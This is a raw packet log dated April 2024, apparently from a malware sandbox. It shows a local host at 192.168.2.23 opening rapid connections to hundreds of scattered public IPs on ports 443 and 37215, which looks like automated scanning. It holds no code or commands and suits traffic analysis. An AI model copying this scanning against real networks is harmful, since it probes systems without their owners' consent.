Apr 14, 2024 03:59:52.059731007 CEST	2135	443	192.168.2.23	117.23.228.175
Apr 14, 2024 03:59:52.059731960 CEST	5975	37215	192.168.2.23	197.124.199.53
Apr 14, 2024 03:59:52.059737921 CEST	443	2135	118.128.38.60	192.168.2.23
Apr 14, 2024 03:59:52.059745073 CEST	2135	443	192.168.2.23	123.253.215.255
Apr 14, 2024 03:59:52.059745073 CEST	2135	443	192.168.2.23	94.201.186.240
Apr 14, 2024 03:59:52.059748888 CEST	2135	443	192.168.2.23	42.231.76.146
Apr 14, 2024 03:59:52.059750080 CEST	2135	443	192.168.2.23	202.120.53.16
Apr 14, 2024 03:59:52.059751987 CEST	443	2135	123.253.215.255	192.168.2.23
Apr 14, 2024 03:59:52.059760094 CEST	443	2135	94.201.186.240	192.168.2.23
Apr 14, 2024 03:59:52.059761047 CEST	443	2135	202.120.53.16	192.168.2.23
Apr 14, 2024 03:59:52.059765100 CEST	5975	37215	192.168.2.23	197.121.223.27
Apr 14, 2024 03:59:52.059765100 CEST	2135	443	192.168.2.23	118.128.38.60
Apr 14, 2024 03:59:52.059765100 CEST	2135	443	192.168.2.23	212.235.37.84
Apr 14, 2024 03:59:52.059771061 CEST	5975	37215	192.168.2.23	156.132.64.255
Apr 14, 2024 03:59:52.059771061 CEST	2135	443	192.168.2.23	42.76.158.218
Apr 14, 2024 03:59:52.059771061 CEST	2135	443	192.168.2.23	123.253.215.255
Apr 14, 2024 03:59:52.059777021 CEST	2135	443	192.168.2.23	123.108.220.80
Apr 14, 2024 03:59:52.059778929 CEST	443	2135	212.235.37.84	192.168.2.23
Apr 14, 2024 03:59:52.059779882 CEST	443	2135	42.76.158.218	192.168.2.23
Apr 14, 2024 03:59:52.059784889 CEST	443	2135	123.108.220.80	192.168.2.23
Apr 14, 2024 03:59:52.059786081 CEST	2135	443	192.168.2.23	202.120.53.16
Apr 14, 2024 03:59:52.059792995 CEST	2135	443	192.168.2.23	148.11.66.232
Apr 14, 2024 03:59:52.059792995 CEST	2135	443	192.168.2.23	109.221.67.108
Apr 14, 2024 03:59:52.059798002 CEST	2135	443	192.168.2.23	109.254.83.134
Apr 14, 2024 03:59:52.059798956 CEST	2135	443	192.168.2.23	94.201.186.240
Apr 14, 2024 03:59:52.059798956 CEST	2135	443	192.168.2.23	210.220.153.130
Apr 14, 2024 03:59:52.059798956 CEST	2135	443	192.168.2.23	79.21.76.195
Apr 14, 2024 03:59:52.059802055 CEST	2135	443	192.168.2.23	94.138.23.176
Apr 14, 2024 03:59:52.059802055 CEST	5975	37215	192.168.2.23	197.220.127.171
Apr 14, 2024 03:59:52.059802055 CEST	2135	443	192.168.2.23	42.13.116.9
Apr 14, 2024 03:59:52.059803009 CEST	443	2135	148.11.66.232	192.168.2.23
Apr 14, 2024 03:59:52.059803963 CEST	443	2135	109.254.83.134	192.168.2.23
Apr 14, 2024 03:59:52.059807062 CEST	5975	37215	192.168.2.23	156.192.172.152
Apr 14, 2024 03:59:52.059808969 CEST	443	2135	79.21.76.195	192.168.2.23
Apr 14, 2024 03:59:52.059808969 CEST	443	2135	210.220.153.130	192.168.2.23
Apr 14, 2024 03:59:52.059817076 CEST	443	2135	109.221.67.108	192.168.2.23
Apr 14, 2024 03:59:52.059818983 CEST	5975	37215	192.168.2.23	41.33.42.152
Apr 14, 2024 03:59:52.059818983 CEST	2135	443	192.168.2.23	42.76.158.218
Apr 14, 2024 03:59:52.059819937 CEST	2135	443	192.168.2.23	212.235.37.84
Apr 14, 2024 03:59:52.059819937 CEST	5975	37215	192.168.2.23	197.222.52.188
Apr 14, 2024 03:59:52.059823990 CEST	443	2135	94.138.23.176	192.168.2.23
Apr 14, 2024 03:59:52.059825897 CEST	443	2135	42.13.116.9	192.168.2.23
Apr 14, 2024 03:59:52.059834957 CEST	2135	443	192.168.2.23	118.146.44.81
Apr 14, 2024 03:59:52.059835911 CEST	2135	443	192.168.2.23	123.108.220.80
Apr 14, 2024 03:59:52.059837103 CEST	5975	37215	192.168.2.23	41.46.234.128
Apr 14, 2024 03:59:52.059838057 CEST	5975	37215	192.168.2.23	41.12.56.230
Apr 14, 2024 03:59:52.059838057 CEST	5975	37215	192.168.2.23	156.253.0.91
Apr 14, 2024 03:59:52.059839964 CEST	2135	443	192.168.2.23	210.220.153.130
Apr 14, 2024 03:59:52.059840918 CEST	5975	37215	192.168.2.23	156.175.155.24
Apr 14, 2024 03:59:52.059840918 CEST	2135	443	192.168.2.23	109.254.83.134
Apr 14, 2024 03:59:52.059843063 CEST	443	2135	118.146.44.81	192.168.2.23
Apr 14, 2024 03:59:52.059848070 CEST	2135	443	192.168.2.23	94.138.23.176
Apr 14, 2024 03:59:52.059851885 CEST	2135	443	192.168.2.23	79.21.76.195
Apr 14, 2024 03:59:52.059851885 CEST	2135	443	192.168.2.23	148.11.66.232
Apr 14, 2024 03:59:52.059851885 CEST	2135	443	192.168.2.23	109.221.67.108
Apr 14, 2024 03:59:52.059854031 CEST	2135	443	192.168.2.23	79.50.26.218
Apr 14, 2024 03:59:52.059856892 CEST	2135	443	192.168.2.23	42.13.116.9
Apr 14, 2024 03:59:52.059863091 CEST	443	2135	79.50.26.218	192.168.2.23
Apr 14, 2024 03:59:52.059864998 CEST	2135	443	192.168.2.23	2.159.131.27
Apr 14, 2024 03:59:52.059864998 CEST	2135	443	192.168.2.23	118.146.44.81
Apr 14, 2024 03:59:52.059865952 CEST	2135	443	192.168.2.23	109.51.158.231
Apr 14, 2024 03:59:52.059870958 CEST	443	2135	2.159.131.27	192.168.2.23
Apr 14, 2024 03:59:52.059871912 CEST	2135	443	192.168.2.23	2.100.134.118
Apr 14, 2024 03:59:52.059871912 CEST	2135	443	192.168.2.23	2.39.208.73
Apr 14, 2024 03:59:52.059874058 CEST	5975	37215	192.168.2.23	41.233.255.82
Apr 14, 2024 03:59:52.059880972 CEST	443	2135	2.100.134.118	192.168.2.23
Apr 14, 2024 03:59:52.059880972 CEST	443	2135	109.51.158.231	192.168.2.23
Apr 14, 2024 03:59:52.059884071 CEST	5975	37215	192.168.2.23	156.235.21.216
Apr 14, 2024 03:59:52.059886932 CEST	5975	37215	192.168.2.23	197.107.222.76
Apr 14, 2024 03:59:52.059886932 CEST	2135	443	192.168.2.23	210.225.55.239
Apr 14, 2024 03:59:52.059886932 CEST	2135	443	192.168.2.23	79.50.26.218
Apr 14, 2024 03:59:52.059889078 CEST	443	2135	2.39.208.73	192.168.2.23
Apr 14, 2024 03:59:52.059895039 CEST	2135	443	192.168.2.23	2.159.131.27
Apr 14, 2024 03:59:52.059896946 CEST	443	2135	210.225.55.239	192.168.2.23
Apr 14, 2024 03:59:52.059902906 CEST	2135	443	192.168.2.23	37.63.254.6
Apr 14, 2024 03:59:52.059906960 CEST	5975	37215	192.168.2.23	41.135.57.20
Apr 14, 2024 03:59:52.059910059 CEST	2135	443	192.168.2.23	2.100.134.118
Apr 14, 2024 03:59:52.059911013 CEST	443	2135	37.63.254.6	192.168.2.23
Apr 14, 2024 03:59:52.059914112 CEST	5975	37215	192.168.2.23	41.34.57.66
Apr 14, 2024 03:59:52.059914112 CEST	2135	443	192.168.2.23	109.51.158.231
Apr 14, 2024 03:59:52.059926987 CEST	2135	443	192.168.2.23	2.39.208.73
Apr 14, 2024 03:59:52.059926987 CEST	2135	443	192.168.2.23	210.225.55.239
Apr 14, 2024 03:59:52.059930086 CEST	5975	37215	192.168.2.23	156.115.228.148
Apr 14, 2024 03:59:52.059930086 CEST	5975	37215	192.168.2.23	156.155.62.27
Apr 14, 2024 03:59:52.059933901 CEST	5975	37215	192.168.2.23	41.174.139.0
Apr 14, 2024 03:59:52.059941053 CEST	2135	443	192.168.2.23	210.156.14.229
Apr 14, 2024 03:59:52.059943914 CEST	2135	443	192.168.2.23	37.63.254.6
Apr 14, 2024 03:59:52.059947014 CEST	443	2135	210.156.14.229	192.168.2.23
Apr 14, 2024 03:59:52.059947014 CEST	2135	443	192.168.2.23	178.125.165.191
Apr 14, 2024 03:59:52.059947014 CEST	5975	37215	192.168.2.23	156.76.59.141
Apr 14, 2024 03:59:52.059950113 CEST	2135	443	192.168.2.23	123.210.38.164
Apr 14, 2024 03:59:52.059953928 CEST	2135	443	192.168.2.23	37.23.176.198
Apr 14, 2024 03:59:52.059957027 CEST	443	2135	123.210.38.164	192.168.2.23
Apr 14, 2024 03:59:52.059957981 CEST	443	2135	178.125.165.191	192.168.2.23
Apr 14, 2024 03:59:52.059962988 CEST	443	2135	37.23.176.198	192.168.2.23
Apr 14, 2024 03:59:52.059968948 CEST	5975	37215	192.168.2.23	156.147.147.109
Apr 14, 2024 03:59:52.059968948 CEST	2135	443	192.168.2.23	79.140.3.80
Apr 14, 2024 03:59:52.059972048 CEST	5975	37215	192.168.2.23	41.117.88.96
Apr 14, 2024 03:59:52.059974909 CEST	2135	443	192.168.2.23	148.147.120.42
Apr 14, 2024 03:59:52.059978008 CEST	2135	443	192.168.2.23	210.156.14.229
Apr 14, 2024 03:59:52.059978962 CEST	443	2135	79.140.3.80	192.168.2.23
Apr 14, 2024 03:59:52.059979916 CEST	2135	443	192.168.2.23	212.134.95.168
Apr 14, 2024 03:59:52.059982061 CEST	443	2135	148.147.120.42	192.168.2.23
Apr 14, 2024 03:59:52.059984922 CEST	2135	443	192.168.2.23	123.193.175.112
Apr 14, 2024 03:59:52.059987068 CEST	443	2135	212.134.95.168	192.168.2.23
Apr 14, 2024 03:59:52.059994936 CEST	443	2135	123.193.175.112	192.168.2.23
Apr 14, 2024 03:59:52.059995890 CEST	2135	443	192.168.2.23	178.125.165.191
Apr 14, 2024 03:59:52.060000896 CEST	2135	443	192.168.2.23	37.23.176.198
Apr 14, 2024 03:59:52.060003042 CEST	5975	37215	192.168.2.23	41.242.41.213
Apr 14, 2024 03:59:52.060005903 CEST	2135	443	192.168.2.23	123.210.38.164
Apr 14, 2024 03:59:52.060010910 CEST	2135	443	192.168.2.23	212.134.95.168
Apr 14, 2024 03:59:52.060014009 CEST	2135	443	192.168.2.23	118.120.215.200
Apr 14, 2024 03:59:52.060014009 CEST	2135	443	192.168.2.23	123.57.70.82
Apr 14, 2024 03:59:52.060014009 CEST	2135	443	192.168.2.23	79.140.3.80
Apr 14, 2024 03:59:52.060014963 CEST	2135	443	192.168.2.23	148.147.120.42
Apr 14, 2024 03:59:52.060022116 CEST	443	2135	118.120.215.200	192.168.2.23
Apr 14, 2024 03:59:52.060023069 CEST	2135	443	192.168.2.23	123.148.98.116
Apr 14, 2024 03:59:52.060033083 CEST	443	2135	123.148.98.116	192.168.2.23
Apr 14, 2024 03:59:52.060034037 CEST	443	2135	123.57.70.82	192.168.2.23
Apr 14, 2024 03:59:52.060034037 CEST	5975	37215	192.168.2.23	156.49.22.152
Apr 14, 2024 03:59:52.060043097 CEST	2135	443	192.168.2.23	5.200.36.39
Apr 14, 2024 03:59:52.060045958 CEST	2135	443	192.168.2.23	123.193.175.112
Apr 14, 2024 03:59:52.060050964 CEST	443	2135	5.200.36.39	192.168.2.23
Apr 14, 2024 03:59:52.060050964 CEST	2135	443	192.168.2.23	202.123.44.117
Apr 14, 2024 03:59:52.060058117 CEST	2135	443	192.168.2.23	118.120.215.200
Apr 14, 2024 03:59:52.060059071 CEST	443	2135	202.123.44.117	192.168.2.23
Apr 14, 2024 03:59:52.060061932 CEST	2135	443	192.168.2.23	123.148.98.116
Apr 14, 2024 03:59:52.060065985 CEST	2135	443	192.168.2.23	123.57.70.82
Apr 14, 2024 03:59:52.060069084 CEST	2135	443	192.168.2.23	42.206.114.96
Apr 14, 2024 03:59:52.060069084 CEST	5975	37215	192.168.2.23	197.229.173.228
Apr 14, 2024 03:59:52.060070038 CEST	5975	37215	192.168.2.23	41.231.78.25
Apr 14, 2024 03:59:52.060071945 CEST	2135	443	192.168.2.23	79.154.3.53
Apr 14, 2024 03:59:52.060079098 CEST	443	2135	42.206.114.96	192.168.2.23
Apr 14, 2024 03:59:52.060080051 CEST	443	2135	79.154.3.53	192.168.2.23
Apr 14, 2024 03:59:52.060086012 CEST	5975	37215	192.168.2.23	41.77.99.235
Apr 14, 2024 03:59:52.060089111 CEST	5975	37215	192.168.2.23	156.232.191.245
Apr 14, 2024 03:59:52.060090065 CEST	5975	37215	192.168.2.23	41.147.229.143
Apr 14, 2024 03:59:52.060091972 CEST	2135	443	192.168.2.23	5.200.36.39
Apr 14, 2024 03:59:52.060091972 CEST	2135	443	192.168.2.23	79.21.13.31
Apr 14, 2024 03:59:52.060094118 CEST	2135	443	192.168.2.23	202.123.44.117
Apr 14, 2024 03:59:52.060097933 CEST	443	2135	79.21.13.31	192.168.2.23
Apr 14, 2024 03:59:52.060102940 CEST	5975	37215	192.168.2.23	156.68.249.198
Apr 14, 2024 03:59:52.060105085 CEST	2135	443	192.168.2.23	94.7.53.3
Apr 14, 2024 03:59:52.060106039 CEST	2135	443	192.168.2.23	42.206.114.96
Apr 14, 2024 03:59:52.060111046 CEST	443	2135	94.7.53.3	192.168.2.23
Apr 14, 2024 03:59:52.060120106 CEST	2135	443	192.168.2.23	79.154.3.53
Apr 14, 2024 03:59:52.060120106 CEST	2135	443	192.168.2.23	123.8.30.122
Apr 14, 2024 03:59:52.060127020 CEST	2135	443	192.168.2.23	79.21.13.31
Apr 14, 2024 03:59:52.060127020 CEST	2135	443	192.168.2.23	118.247.185.188
Apr 14, 2024 03:59:52.060127974 CEST	443	2135	123.8.30.122	192.168.2.23
Apr 14, 2024 03:59:52.060132980 CEST	5975	37215	192.168.2.23	197.215.236.233
Apr 14, 2024 03:59:52.060139894 CEST	443	2135	118.247.185.188	192.168.2.23
Apr 14, 2024 03:59:52.060146093 CEST	5975	37215	192.168.2.23	41.66.94.157
Apr 14, 2024 03:59:52.060147047 CEST	2135	443	192.168.2.23	94.7.53.3
Apr 14, 2024 03:59:52.060147047 CEST	5975	37215	192.168.2.23	197.86.246.21
Apr 14, 2024 03:59:52.060148954 CEST	5975	37215	192.168.2.23	197.39.136.110
Apr 14, 2024 03:59:52.060159922 CEST	2135	443	192.168.2.23	123.8.30.122
Apr 14, 2024 03:59:52.060164928 CEST	2135	443	192.168.2.23	118.247.185.188
Apr 14, 2024 03:59:52.060174942 CEST	2135	443	192.168.2.23	117.76.196.102
Apr 14, 2024 03:59:52.060174942 CEST	2135	443	192.168.2.23	79.169.62.204
Apr 14, 2024 03:59:52.060177088 CEST	5975	37215	192.168.2.23	156.104.38.128
Apr 14, 2024 03:59:52.060177088 CEST	5975	37215	192.168.2.23	197.194.78.157
Apr 14, 2024 03:59:52.060184956 CEST	443	2135	117.76.196.102	192.168.2.23
Apr 14, 2024 03:59:52.060195923 CEST	2135	443	192.168.2.23	94.104.192.47
Apr 14, 2024 03:59:52.060195923 CEST	443	2135	79.169.62.204	192.168.2.23
Apr 14, 2024 03:59:52.060198069 CEST	2135	443	192.168.2.23	202.59.158.232
Apr 14, 2024 03:59:52.060199022 CEST	5975	37215	192.168.2.23	41.44.179.82
Apr 14, 2024 03:59:52.060200930 CEST	2135	443	192.168.2.23	117.31.46.8
Apr 14, 2024 03:59:52.060200930 CEST	5975	37215	192.168.2.23	197.248.132.127
Apr 14, 2024 03:59:52.060203075 CEST	443	2135	94.104.192.47	192.168.2.23
Apr 14, 2024 03:59:52.060208082 CEST	443	2135	202.59.158.232	192.168.2.23
Apr 14, 2024 03:59:52.060209036 CEST	5975	37215	192.168.2.23	41.118.133.249
Apr 14, 2024 03:59:52.060209990 CEST	443	2135	117.31.46.8	192.168.2.23
Apr 14, 2024 03:59:52.060209036 CEST	2135	443	192.168.2.23	123.190.77.90
Apr 14, 2024 03:59:52.060209036 CEST	5975	37215	192.168.2.23	156.229.143.131
Apr 14, 2024 03:59:52.060226917 CEST	2135	443	192.168.2.23	94.104.192.47
Apr 14, 2024 03:59:52.060236931 CEST	5975	37215	192.168.2.23	156.82.243.189
Apr 14, 2024 03:59:52.060236931 CEST	2135	443	192.168.2.23	202.59.158.232
Apr 14, 2024 03:59:52.060237885 CEST	443	2135	123.190.77.90	192.168.2.23
Apr 14, 2024 03:59:52.060237885 CEST	2135	443	192.168.2.23	212.82.185.245
Apr 14, 2024 03:59:52.060237885 CEST	2135	443	192.168.2.23	117.31.46.8
Apr 14, 2024 03:59:52.060246944 CEST	2135	443	192.168.2.23	37.150.5.193
Apr 14, 2024 03:59:52.060247898 CEST	443	2135	212.82.185.245	192.168.2.23
Apr 14, 2024 03:59:52.060250044 CEST	5975	37215	192.168.2.23	197.227.145.49
Apr 14, 2024 03:59:52.060250998 CEST	2135	443	192.168.2.23	118.46.125.111
Apr 14, 2024 03:59:52.060252905 CEST	443	2135	37.150.5.193	192.168.2.23
Apr 14, 2024 03:59:52.060256958 CEST	443	2135	118.46.125.111	192.168.2.23
Apr 14, 2024 03:59:52.060264111 CEST	5975	37215	192.168.2.23	41.133.240.120
Apr 14, 2024 03:59:52.060265064 CEST	5975	37215	192.168.2.23	156.199.136.79
Apr 14, 2024 03:59:52.060261965 CEST	2135	443	192.168.2.23	117.76.196.102
Apr 14, 2024 03:59:52.060261965 CEST	2135	443	192.168.2.23	79.169.62.204
Apr 14, 2024 03:59:52.060265064 CEST	2135	443	192.168.2.23	123.147.57.158
Apr 14, 2024 03:59:52.060265064 CEST	2135	443	192.168.2.23	178.40.75.199
Apr 14, 2024 03:59:52.060265064 CEST	2135	443	192.168.2.23	94.185.194.139
Apr 14, 2024 03:59:52.060271978 CEST	2135	443	192.168.2.23	212.82.185.245
Apr 14, 2024 03:59:52.060275078 CEST	5975	37215	192.168.2.23	197.201.131.104
Apr 14, 2024 03:59:52.060275078 CEST	2135	443	192.168.2.23	37.150.5.193
Apr 14, 2024 03:59:52.060281038 CEST	2135	443	192.168.2.23	118.46.125.111
Apr 14, 2024 03:59:52.060283899 CEST	443	2135	123.147.57.158	192.168.2.23
Apr 14, 2024 03:59:52.060290098 CEST	2135	443	192.168.2.23	94.78.72.181
Apr 14, 2024 03:59:52.060290098 CEST	2135	443	192.168.2.23	202.87.70.179
Apr 14, 2024 03:59:52.060292959 CEST	5975	37215	192.168.2.23	41.220.198.140
Apr 14, 2024 03:59:52.060296059 CEST	443	2135	178.40.75.199	192.168.2.23
Apr 14, 2024 03:59:52.060302019 CEST	443	2135	94.78.72.181	192.168.2.23
Apr 14, 2024 03:59:52.060307026 CEST	443	2135	94.185.194.139	192.168.2.23
Apr 14, 2024 03:59:52.060308933 CEST	2135	443	192.168.2.23	212.239.167.67
Apr 14, 2024 03:59:52.060314894 CEST	443	2135	212.239.167.67	192.168.2.23
Apr 14, 2024 03:59:52.060318947 CEST	443	2135	202.87.70.179	192.168.2.23
Apr 14, 2024 03:59:52.060323000 CEST	2135	443	192.168.2.23	123.190.77.90
Apr 14, 2024 03:59:52.060323000 CEST	5975	37215	192.168.2.23	41.155.137.186
Apr 14, 2024 03:59:52.060323000 CEST	2135	443	192.168.2.23	123.115.248.121
Apr 14, 2024 03:59:52.060323000 CEST	2135	443	192.168.2.23	123.147.57.158
Apr 14, 2024 03:59:52.060323000 CEST	2135	443	192.168.2.23	178.40.75.199
Apr 14, 2024 03:59:52.060328007 CEST	2135	443	192.168.2.23	148.43.24.217
Apr 14, 2024 03:59:52.060332060 CEST	2135	443	192.168.2.23	94.78.72.181
Apr 14, 2024 03:59:52.060334921 CEST	443	2135	148.43.24.217	192.168.2.23
Apr 14, 2024 03:59:52.060338974 CEST	2135	443	192.168.2.23	5.52.83.156
Apr 14, 2024 03:59:52.060340881 CEST	2135	443	192.168.2.23	118.26.186.186
Apr 14, 2024 03:59:52.060343981 CEST	443	2135	123.115.248.121	192.168.2.23
Apr 14, 2024 03:59:52.060347080 CEST	443	2135	5.52.83.156	192.168.2.23
Apr 14, 2024 03:59:52.060347080 CEST	443	2135	118.26.186.186	192.168.2.23
Apr 14, 2024 03:59:52.060353041 CEST	2135	443	192.168.2.23	202.87.70.179
Apr 14, 2024 03:59:52.060354948 CEST	2135	443	192.168.2.23	212.239.167.67
Apr 14, 2024 03:59:52.060359001 CEST	5975	37215	192.168.2.23	41.91.134.212
Apr 14, 2024 03:59:52.060359001 CEST	2135	443	192.168.2.23	148.43.24.217
Apr 14, 2024 03:59:52.060360909 CEST	2135	443	192.168.2.23	94.185.194.139
Apr 14, 2024 03:59:52.060360909 CEST	2135	443	192.168.2.23	5.118.219.223
Apr 14, 2024 03:59:52.060362101 CEST	2135	443	192.168.2.23	94.84.231.89
Apr 14, 2024 03:59:52.060362101 CEST	5975	37215	192.168.2.23	156.56.209.191
Apr 14, 2024 03:59:52.060368061 CEST	2135	443	192.168.2.23	118.26.186.186
Apr 14, 2024 03:59:52.060370922 CEST	443	2135	94.84.231.89	192.168.2.23
Apr 14, 2024 03:59:52.060374022 CEST	443	2135	5.118.219.223	192.168.2.23
Apr 14, 2024 03:59:52.060379982 CEST	2135	443	192.168.2.23	5.1.100.236
Apr 14, 2024 03:59:52.060384035 CEST	2135	443	192.168.2.23	5.52.83.156
Apr 14, 2024 03:59:52.060384035 CEST	5975	37215	192.168.2.23	197.90.132.163
Apr 14, 2024 03:59:52.060384989 CEST	443	2135	5.1.100.236	192.168.2.23
Apr 14, 2024 03:59:52.060386896 CEST	2135	443	192.168.2.23	123.115.248.121
Apr 14, 2024 03:59:52.060394049 CEST	5975	37215	192.168.2.23	41.166.246.89
Apr 14, 2024 03:59:52.060401917 CEST	2135	443	192.168.2.23	94.84.231.89
Apr 14, 2024 03:59:52.060401917 CEST	2135	443	192.168.2.23	5.232.129.141
Apr 14, 2024 03:59:52.060410976 CEST	2135	443	192.168.2.23	5.1.100.236
Apr 14, 2024 03:59:52.060412884 CEST	443	2135	5.232.129.141	192.168.2.23
Apr 14, 2024 03:59:52.060414076 CEST	2135	443	192.168.2.23	5.16.174.222
Apr 14, 2024 03:59:52.060414076 CEST	2135	443	192.168.2.23	5.118.219.223
Apr 14, 2024 03:59:52.060422897 CEST	443	2135	5.16.174.222	192.168.2.23
Apr 14, 2024 03:59:52.060425997 CEST	5975	37215	192.168.2.23	156.153.199.110
Apr 14, 2024 03:59:52.060431004 CEST	5975	37215	192.168.2.23	156.174.73.127
Apr 14, 2024 03:59:52.060431957 CEST	2135	443	192.168.2.23	178.98.253.169
Apr 14, 2024 03:59:52.060431957 CEST	5975	37215	192.168.2.23	156.20.40.120
Apr 14, 2024 03:59:52.060437918 CEST	5975	37215	192.168.2.23	197.131.171.223
Apr 14, 2024 03:59:52.060437918 CEST	2135	443	192.168.2.23	5.206.168.115
Apr 14, 2024 03:59:52.060437918 CEST	2135	443	192.168.2.23	5.232.129.141
Apr 14, 2024 03:59:52.060441971 CEST	443	2135	178.98.253.169	192.168.2.23
Apr 14, 2024 03:59:52.060444117 CEST	2135	443	192.168.2.23	5.16.174.222
Apr 14, 2024 03:59:52.060447931 CEST	443	2135	5.206.168.115	192.168.2.23
Apr 14, 2024 03:59:52.060457945 CEST	5975	37215	192.168.2.23	156.92.16.150
Apr 14, 2024 03:59:52.060458899 CEST	2135	443	192.168.2.23	2.17.86.67
Apr 14, 2024 03:59:52.060460091 CEST	2135	443	192.168.2.23	117.56.148.246
Apr 14, 2024 03:59:52.060460091 CEST	5975	37215	192.168.2.23	156.254.236.77
Apr 14, 2024 03:59:52.060461998 CEST	2135	443	192.168.2.23	5.219.8.107
Apr 14, 2024 03:59:52.060463905 CEST	5975	37215	192.168.2.23	197.70.119.143
Apr 14, 2024 03:59:52.060467005 CEST	443	2135	2.17.86.67	192.168.2.23
Apr 14, 2024 03:59:52.060467005 CEST	443	2135	117.56.148.246	192.168.2.23
Apr 14, 2024 03:59:52.060468912 CEST	443	2135	5.219.8.107	192.168.2.23
Apr 14, 2024 03:59:52.060468912 CEST	2135	443	192.168.2.23	178.98.253.169
Apr 14, 2024 03:59:52.060482025 CEST	2135	443	192.168.2.23	5.206.168.115
Apr 14, 2024 03:59:52.060482025 CEST	2135	443	192.168.2.23	117.39.248.34
Apr 14, 2024 03:59:52.060482025 CEST	2135	443	192.168.2.23	117.230.106.94
Apr 14, 2024 03:59:52.060482979 CEST	5975	37215	192.168.2.23	156.57.134.171
Apr 14, 2024 03:59:52.060484886 CEST	2135	443	192.168.2.23	2.227.179.192
Apr 14, 2024 03:59:52.060491085 CEST	443	2135	2.227.179.192	192.168.2.23
Apr 14, 2024 03:59:52.060492992 CEST	443	2135	117.39.248.34	192.168.2.23
Apr 14, 2024 03:59:52.060497999 CEST	2135	443	192.168.2.23	2.17.86.67
Apr 14, 2024 03:59:52.060503006 CEST	2135	443	192.168.2.23	42.109.38.15
Apr 14, 2024 03:59:52.060506105 CEST	2135	443	192.168.2.23	117.56.148.246
Apr 14, 2024 03:59:52.060506105 CEST	443	2135	117.230.106.94	192.168.2.23
Apr 14, 2024 03:59:52.060506105 CEST	2135	443	192.168.2.23	94.72.5.127
Apr 14, 2024 03:59:52.060508966 CEST	2135	443	192.168.2.23	178.51.153.143
Apr 14, 2024 03:59:52.060511112 CEST	443	2135	42.109.38.15	192.168.2.23
Apr 14, 2024 03:59:52.060514927 CEST	443	2135	178.51.153.143	192.168.2.23
Apr 14, 2024 03:59:52.060517073 CEST	443	2135	94.72.5.127	192.168.2.23
Apr 14, 2024 03:59:52.060518980 CEST	2135	443	192.168.2.23	5.219.8.107
Apr 14, 2024 03:59:52.060518980 CEST	2135	443	192.168.2.23	37.53.227.205
Apr 14, 2024 03:59:52.060518980 CEST	5975	37215	192.168.2.23	41.10.70.132
Apr 14, 2024 03:59:52.060523033 CEST	2135	443	192.168.2.23	2.227.179.192
Apr 14, 2024 03:59:52.060528994 CEST	5975	37215	192.168.2.23	41.26.69.92
Apr 14, 2024 03:59:52.060533047 CEST	2135	443	192.168.2.23	42.109.38.15
Apr 14, 2024 03:59:52.060534000 CEST	443	2135	37.53.227.205	192.168.2.23
Apr 14, 2024 03:59:52.060549021 CEST	2135	443	192.168.2.23	94.72.5.127
Apr 14, 2024 03:59:52.060549974 CEST	2135	443	192.168.2.23	117.39.248.34
Apr 14, 2024 03:59:52.060549974 CEST	5975	37215	192.168.2.23	197.126.137.46
Apr 14, 2024 03:59:52.060549974 CEST	2135	443	192.168.2.23	117.230.106.94
Apr 14, 2024 03:59:52.060549974 CEST	5975	37215	192.168.2.23	197.235.95.251
Apr 14, 2024 03:59:52.060554028 CEST	2135	443	192.168.2.23	2.9.158.30
Apr 14, 2024 03:59:52.060559988 CEST	5975	37215	192.168.2.23	156.112.227.115
Apr 14, 2024 03:59:52.060561895 CEST	443	2135	2.9.158.30	192.168.2.23
Apr 14, 2024 03:59:52.060563087 CEST	2135	443	192.168.2.23	178.51.153.143
Apr 14, 2024 03:59:52.060563087 CEST	2135	443	192.168.2.23	37.241.196.44
Apr 14, 2024 03:59:52.060564995 CEST	2135	443	192.168.2.23	37.53.227.205
Apr 14, 2024 03:59:52.060568094 CEST	2135	443	192.168.2.23	210.54.32.196
Apr 14, 2024 03:59:52.060570002 CEST	443	2135	37.241.196.44	192.168.2.23
Apr 14, 2024 03:59:52.060578108 CEST	443	2135	210.54.32.196	192.168.2.23
Apr 14, 2024 03:59:52.060583115 CEST	5975	37215	192.168.2.23	41.177.178.208
Apr 14, 2024 03:59:52.060583115 CEST	2135	443	192.168.2.23	178.181.35.173
Apr 14, 2024 03:59:52.060585022 CEST	5975	37215	192.168.2.23	156.154.141.14
Apr 14, 2024 03:59:52.060585022 CEST	2135	443	192.168.2.23	5.203.225.134
Apr 14, 2024 03:59:52.060590982 CEST	2135	443	192.168.2.23	109.178.153.150
Apr 14, 2024 03:59:52.060591936 CEST	443	2135	5.203.225.134	192.168.2.23
Apr 14, 2024 03:59:52.060592890 CEST	2135	443	192.168.2.23	2.9.158.30
Apr 14, 2024 03:59:52.060595036 CEST	443	2135	178.181.35.173	192.168.2.23
Apr 14, 2024 03:59:52.060597897 CEST	443	2135	109.178.153.150	192.168.2.23
Apr 14, 2024 03:59:52.060600996 CEST	2135	443	192.168.2.23	37.241.196.44
Apr 14, 2024 03:59:52.060606003 CEST	5975	37215	192.168.2.23	41.64.151.254
Apr 14, 2024 03:59:52.060606956 CEST	5975	37215	192.168.2.23	156.215.23.62
Apr 14, 2024 03:59:52.060607910 CEST	2135	443	192.168.2.23	210.54.32.196
Apr 14, 2024 03:59:52.060621023 CEST	2135	443	192.168.2.23	178.181.35.173
Apr 14, 2024 03:59:52.060621023 CEST	2135	443	192.168.2.23	5.203.225.134
Apr 14, 2024 03:59:52.060623884 CEST	2135	443	192.168.2.23	109.178.153.150
Apr 14, 2024 03:59:52.060623884 CEST	2135	443	192.168.2.23	123.30.214.199
Apr 14, 2024 03:59:52.060632944 CEST	443	2135	123.30.214.199	192.168.2.23
Apr 14, 2024 03:59:52.060636044 CEST	2135	443	192.168.2.23	79.232.23.132
Apr 14, 2024 03:59:52.060641050 CEST	2135	443	192.168.2.23	5.63.136.130
Apr 14, 2024 03:59:52.060641050 CEST	2135	443	192.168.2.23	117.248.60.178
Apr 14, 2024 03:59:52.060641050 CEST	5975	37215	192.168.2.23	41.165.94.16
Apr 14, 2024 03:59:52.060642004 CEST	2135	443	192.168.2.23	117.235.34.81
Apr 14, 2024 03:59:52.060643911 CEST	443	2135	79.232.23.132	192.168.2.23
Apr 14, 2024 03:59:52.060643911 CEST	2135	443	192.168.2.23	109.107.111.200
Apr 14, 2024 03:59:52.060647964 CEST	443	2135	5.63.136.130	192.168.2.23
Apr 14, 2024 03:59:52.060651064 CEST	2135	443	192.168.2.23	2.223.235.221
Apr 14, 2024 03:59:52.060655117 CEST	443	2135	109.107.111.200	192.168.2.23
Apr 14, 2024 03:59:52.060661077 CEST	443	2135	117.235.34.81	192.168.2.23
